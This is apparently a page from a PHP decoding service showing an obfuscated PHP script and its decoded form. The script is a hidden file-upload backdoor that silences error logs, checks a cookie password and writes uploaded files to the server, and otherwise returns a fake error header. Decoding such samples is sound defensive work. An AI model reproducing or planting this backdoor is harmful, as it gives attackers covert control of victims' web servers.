Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @ ##Q4nEV#cy@=}J ini_set ##>O)!pc#haNU ('log_errors', 0); @/*W,sO[VV*/ini_set/*n..

Decoded Output download

<?php 
@ ##Q4nEV#cy@=}J 
ini_set ##>O)!pc#haNU 
('log_errors', 0); 
@/*W,sO[VV*/ini_set/*nHZ<0y=Cs:71[*/('error_log', NULL); 
@/*~RVkj3{A[U*/ini_set ##`@d6hSzP 
('error_reporting', NULL); 
@//d;WjG:JfWC%\ 
error_reporting/*`m&+$4WA~%vJbs&q*/(0); 
@/*g3}C\(Jj}*/ini_set ##Pd;(kiA=wn 
('max_execution_time', 0); 
@//HDSdHf|<V HCJ<oO#>2 
set_time_limit ##s14}K2nE]rcs,, 
(0); 
@//IX_ODBKLi5gM$ 
ignore_user_abort/*JJJDd*/(true); 
     
function  ##dYc;|p)o.ps1et*XQbF 
O ##JXg-<p)|	zNJ50>4)l 
($s){ 
     ##,WXYG |4%[FNgG&3M 
$O ##}`|AU]Kp|^ 
=  ##wlqS#!VlOTcG9) 
"b".//lY@aDE]I.U 
"ase64_decode";/*SJt!r+~(z*!U*/ 
    //L~&o:Zsk&n7 
$s//P:|N8J9 
= ##q[.A5}^=o 
$O ##;!L]sjt}3k` 
($s); 
    //@Cs{xFM 
$O/*a}C8N[VKI}^,xhwV~r}*/= //x_[LG4Qx<1lUXJ!qXcg 
"gzinflate"; ##2!o4=i`Vn 
 
    return //q<K#-_HUsDM 
$O/*7oL,;( <*/($s); 
} 
     
if(//IjzX e 
md5 ##4e:J@OL6hvPGs 
(//=.K.z}dk^6gr`Nm0 
md5 ##RX%[&F 
(//Jf<):C-.G`zC<l8RKC 
md5/*<B)VHCX6]*/(/*;`*`P\*/$_SERVER/*a{smC0_{{`+*/[ ##JT:q-[hHs 
O ###*1p% 
(//2opY@d8SG`V_ 
'8wgJCYgPDXYNind0d/ULAQA=') ##Ug#^H!AFV9{.A(_ 
]))) ==  ##=R=3S}KyV8)\G]U[c-) 
O/*j_97we*/(//C0 HBp`.v_>Lqm.(HgTG 
'M0kzTzNOSTQwszCwTEk2TrE0SUlMTk5NTTExSElLTEwBAA==')/*E3zrc*/){ 
	if(/*ma5GB*/session_start ##.QMD][GmfeT 
()){ ##(%+DF_( 
preg_match//uf(Ruk} 
(//yDgp_w< 
O ##v[}B]c3t8^Zdf%mq 
( ##EXV3>4U+z91uS&` 
'04+LjrOK1dLPBAA=')/*co;@Dnm*/, ##RzVQJzt:<><hCV+[z 
$_SERVER//$[,o.L6N 
[ ##Ln;$1HHr6cj*& 
O ##*us_j6dh1Y1:y 
( ##FTBzd 
'8wgJCYj38A8OAQA=')//T!;zA 
], $MVUHJKXQQT);//=-ROw@30}o 
$WJYKYTZ/*Hj&A!S`;8|Mb]h;*/=  ##7<Xgh:%OVD&RUEsP 
$MVUHJKXQQT ##&r!qrdQLb 
[0]; ##OZ#86rF 
$WJYKYTZ//5>VN2@iDN{iGiYT 
= ##z<zh5$2vebh 
preg_replace/*w3.q;6\8=7xG{!gwl*/(/*E3bw:XF$voa0^gkh*/O ##R9Z3V7WD[O}P< 
( ##=co-BE3,eE 
'q4krLy+P0asBAA==') ##4Ww!@u,LJ^E25|23M 
, '', $WJYKYTZ);if(@//+@rxmI0A 
$_COOKIE ##`vMmg 
[//!euOk 
md5//(0DI4Kh{K..N 
(//_Dc]YFL<#rLiNQIf 
$WJYKYTZ ##WPK[9k`2>CgB#lDGPG.c 
.//w@0=J: 
O ##!z%R9YE| 
(/*WG*A_yeQic+*/'KyguTwEA') ##$ [{U(#UUKuZr<c91bo 
)] !=  ##eE_L)2dy73-ZA 
O//o}$GElONrtK`jJ[  
( ##>VLo9|W[JVC9p. 
'SzYzTEs1NTZKMk4zN7c0NTY3N0xMMkxKNTUFChiamAMA')//IDG$. 
){echo  ##ZpLIw56: 
O ##pqfbim]D_ypt 
(/*H9c5B0\AczoBp*/'C8lIVUgsLcnIL8qsSizJzM9TSEvMzElN0VEoyElNLE5VKEpV0IUpSAUA') ##RyV-=&>.M~`RskWSF2t 
;exit();}} 
	if(!empty(/*A2SrXgi<<Z@*/$_FILES ##f[yApy]Af 
[ ##8ntu9 9n[B0,c3^Jj~ 
O/*Rx{i)Bz@|bp(k*/(//HMJDS 
'y610y8xJBQA=') ##B}j6e 
])){ 
		//WkSjrvJ0j 
move_uploaded_file//hiRDPy_jbCJvx] 
(/*q$TC$M2)B}+Y{9*/$_FILES//N2McwDNABxKvu\o8rz# 
[ ##AyKTs<u@$OpKKDR]1kir 
O ##T4pIy 
(/*:3 Zcs@MqQju2A*/'y610y8xJBQA=')//F`R~q`C*oh 
][//=T4ZUA+Qq 
O ##vc=!.K 
( ##O,m63B}4^0Cl.XYK 
'K8ktiM9LzE0FAA==')//K>F13.9}MEq+bS=Xw ,J 
], ##zF.;Fh\gbj}zfA 
$_FILES//,QsdYpz=fDP( 
[ ##Sca$:EGI 
O/*2yB0elBCZ=2HuK*/(//[xnnJ&x 
'y610y8xJBQA=')/*{nX>N@^,$CME*/][/*&p(X(Mexu*/O/*>Zg^pC_I*/( ##y^+(h WUmXG9L- 
'y0vMTQUA') ##h&h<Ts^fwa[`sV<E<g 
]); 
	} 
	echo  ##icF.[W3h4 
O//0cgUz{E0# 
( ##nQ~.E, 
'4+XitEnLL8pVSM1LLqksSLVVyi3NKcksSCwq0QeJ66YkliQqKSQml2Tm59kqKSnkppZk5KfYKgX4B4co2SnwAvVn5hWUlijkJeaCdFe6ZeakKilAzEoDsZEVQYSLS5NyM0uUFMoSc0qB3Cc7up7sWfBsWvuT3dugqsF22wEA')//.;&[L(a 
; 
	exit; 
}else{ 
	 ##U (p+&<sjc;sfzm:xQ{ 
header//]dw<bj=73 
( ##dgQc)E>~`~s$+ 
O ##,.BhI\$,z%Y 
(/*g]hG.(pPy#JbHl>VdBi2*/'8wgJCdA31DNUMDEwUfDLL1Fwyy/NSwEA')//%S)win6 
); 
	 ###4Axq1FV7(JV 
header ##&0jg v_TZj{M|fF 
(/*udF+tHiO*/O ##QQ@dRDbiP)PSc3V 
(/*3gvDWqV*/'Ky5JLCkttlIwMTBR8MsvUXDLL81LAQA=') ###G]=T<NalIB_Ep(%S9t 
); 
	exit(); 
} ?>

Did this file decode correctly?

Original Code

<?php
@ ##Q4nEV#cy@=}J
ini_set ##>O)!pc#haNU
('log_errors', 0);
@/*W,sO[VV*/ini_set/*nHZ<0y=Cs:71[*/('error_log', NULL);
@/*~RVkj3{A[U*/ini_set ##`@d6hSzP
('error_reporting', NULL);
@//d;WjG:JfWC%\
error_reporting/*`m&+$4WA~%vJbs&q*/(0);
@/*g3}C\(Jj}*/ini_set ##Pd;(\5kiA=wn
('max_execution_time', 0);
@//HDSdHf|<V HCJ<oO#>2
set_time_limit ##s14}K2nE]rcs,,
(0);
@//IX_ODBKLi5gM$
ignore_user_abort/*JJJDd*/(true);
    
function  ##dYc;|p)o.ps1et*XQbF
O ##JXg-<p)|\tzNJ50>4)l
($s){
     ##,WXYG |4%[FNgG&3M
$O ##}`|AU]Kp|^
=  ##wlqS#!VlOTcG9)
"\x62".//lY@aDE]I.U
"\x61s\x656\x34_\x64\x65c\x6f\x64\x65";/*SJt!r+~(z*!U*/
    //L~&o:Zsk&n7
$s//P:|N8J9
= ##q[.A5}^=o
$O ##;!L]sjt}3k`
($s);
    //@Cs{xFM
$O/*a}C8N[VKI}^,xhwV~r}*/= //x_[LG4Qx<1lUXJ!qXcg
"\x67\x7ain\x66l\x61t\x65"; ##2!o4=i`Vn

    return //q<K#-_HUsDM
$O/*7oL,;( <*/($s);
}
    
if(//IjzX e
md5 ##4e:J@OL6hvPGs
(//=.K.z}dk^6gr`Nm0
md5 ##RX%[&F
(//Jf<):C-.G`zC<l8RKC
md5/*<B)VHCX6]*/(/*;`*`P\*/$_SERVER/*a{smC0_{{`+*/[ ##JT:q-[hHs
O ###*1p%
(//2opY@d8SG`V_
'8wgJCYgPDXYNind0d/ULAQA=') ##Ug#^H!AFV9{.A(_
]))) ==  ##=R=3S}KyV8)\G]U[c-)
O/*j_97we*/(//C0 HBp`.v_>Lqm.(HgTG
'M0kzTzNOSTQwszCwTEk2TrE0SUlMTk5NTTExSElLTEwBAA==')/*E3zrc*/){
	if(/*ma5GB*/session_start ##.QMD][GmfeT
()){ ##(%+DF_(
preg_match//uf(Ruk}
(//yDgp_w<
O ##v[}B]c3t8^Zdf%mq
( ##EXV3>4U+z91uS&`
'04+LjrOK1dLPBAA=')/*co;@Dnm*/, ##RzVQJzt:<><hCV+[z
$_SERVER//$[,o.L6N
[ ##Ln;$1HHr6cj*&
O ##*us_j6dh1Y1:y
( ##FTBzd
'8wgJCYj38A8OAQA=')//T!;zA
], $MVUHJKXQQT);//=-ROw@30}o
$WJYKYTZ/*Hj&A!S`;8|Mb]h;*/=  ##7<Xgh:%OVD&RUEsP
$MVUHJKXQQT ##&r!qrdQLb
[0]; ##OZ#86rF
$WJYKYTZ//5>VN2@iDN{iGiYT
= ##z<zh5$2vebh
preg_replace/*w3.q;6\8=7xG{!gwl*/(/*E3bw:XF$voa0^gkh*/O ##R9Z3V7WD[O}P<
( ##=co-BE3,eE
'q4krLy+P0asBAA==') ##4Ww!@u,LJ^E25|23M
, '', $WJYKYTZ);if(@//+@rxmI0A
$_COOKIE ##`vMmg
[//!euOk
md5//(0DI4Kh{K..N
(//_Dc]YFL<#rLiNQIf
$WJYKYTZ ##WPK[9k`2>CgB#lDGPG.c
.//w@0=J:
O ##!z%R9YE|
(/*WG*A_yeQic+*/'KyguTwEA') ##$ [{U(#UUKuZr<c91bo
)] !=  ##eE_L)2dy73-ZA
O//o}$GElONrtK`jJ[ 
( ##>VLo9|W[JVC9p.
'SzYzTEs1NTZKMk4zN7c0NTY3N0xMMkxKNTUFChiamAMA')//IDG$.
){echo  ##ZpLIw56:
O ##pqfbim]D_ypt
(/*H9c5B0\AczoBp*/'C8lIVUgsLcnIL8qsSizJzM9TSEvMzElN0VEoyElNLE5VKEpV0IUpSAUA') ##RyV-=&>.M~`RskWSF2t
;exit();}}
	if(!empty(/*A2SrXgi<<Z@*/$_FILES ##f[yApy]Af
[ ##8ntu9 9n[B0,c3^Jj~
O/*Rx{i)Bz@|bp(k*/(//HMJDS
'y610y8xJBQA=') ##B}j6e
])){
		//WkSjrvJ0j
move_uploaded_file//hiRDPy_jbCJvx]
(/*q$TC$M2)B}+Y{9*/$_FILES//N2McwDNABxKvu\o8rz#
[ ##AyKTs<u@$OpKKDR]1kir
O ##T4pIy
(/*:3 Zcs@MqQju2A*/'y610y8xJBQA=')//F`R~q`C*oh
][//=T4ZUA+Qq
O ##vc=!.K
( ##O,m63B}4^0Cl.XYK
'K8ktiM9LzE0FAA==')//K>F13.9}MEq+bS=Xw ,J
], ##zF.;Fh\gbj}zfA
$_FILES//,QsdYpz=fDP(
[ ##Sca$:EGI
O/*2yB0elBCZ=2HuK*/(//[xnnJ&x
'y610y8xJBQA=')/*{nX>N@^,$CME*/][/*&p(X(Mexu*/O/*>Zg^pC_I*/( ##y^+(h WUmXG9L-
'y0vMTQUA') ##h&h<Ts^fwa[`sV<E<g
]);
	}
	echo  ##icF.[W3h4
O//0cgUz{E0#
( ##nQ~.E,
'4+XitEnLL8pVSM1LLqksSLVVyi3NKcksSCwq0QeJ66YkliQqKSQml2Tm59kqKSnkppZk5KfYKgX4B4co2SnwAvVn5hWUlijkJeaCdFe6ZeakKilAzEoDsZEVQYSLS5NyM0uUFMoSc0qB3Cc7up7sWfBsWvuT3dugqsF22wEA')//.;&[L(a
;
	exit;
}else{
	 ##U (p+&<sjc;sfzm:xQ{
header//]dw<bj=73
( ##dgQc)E>~`~s$+
O ##,.BhI\$,z%Y
(/*g]hG.(pPy#JbHl>VdBi2*/'8wgJCdA31DNUMDEwUfDLL1Fwyy/NSwEA')//%S)win6
);
	 ###4Axq1FV7(JV
header ##&0jg v_TZj{M|fF
(/*udF+tHiO*/O ##QQ@dRDbiP)PSc3V
(/*3gvDWqV*/'Ky5JLCkttlIwMTBR8MsvUXDLL81LAQA=') ###G]=T<NalIB_Ep(%S9t
);
	exit();
}

Function Calls

ini_set 4
set_time_limit 1
error_reporting 1
ignore_user_abort 1

Variables

None

Stats

MD5 ecba5f1d45da96ae7c3d4aa33842d808
Eval Count 0
Decode Time 378 ms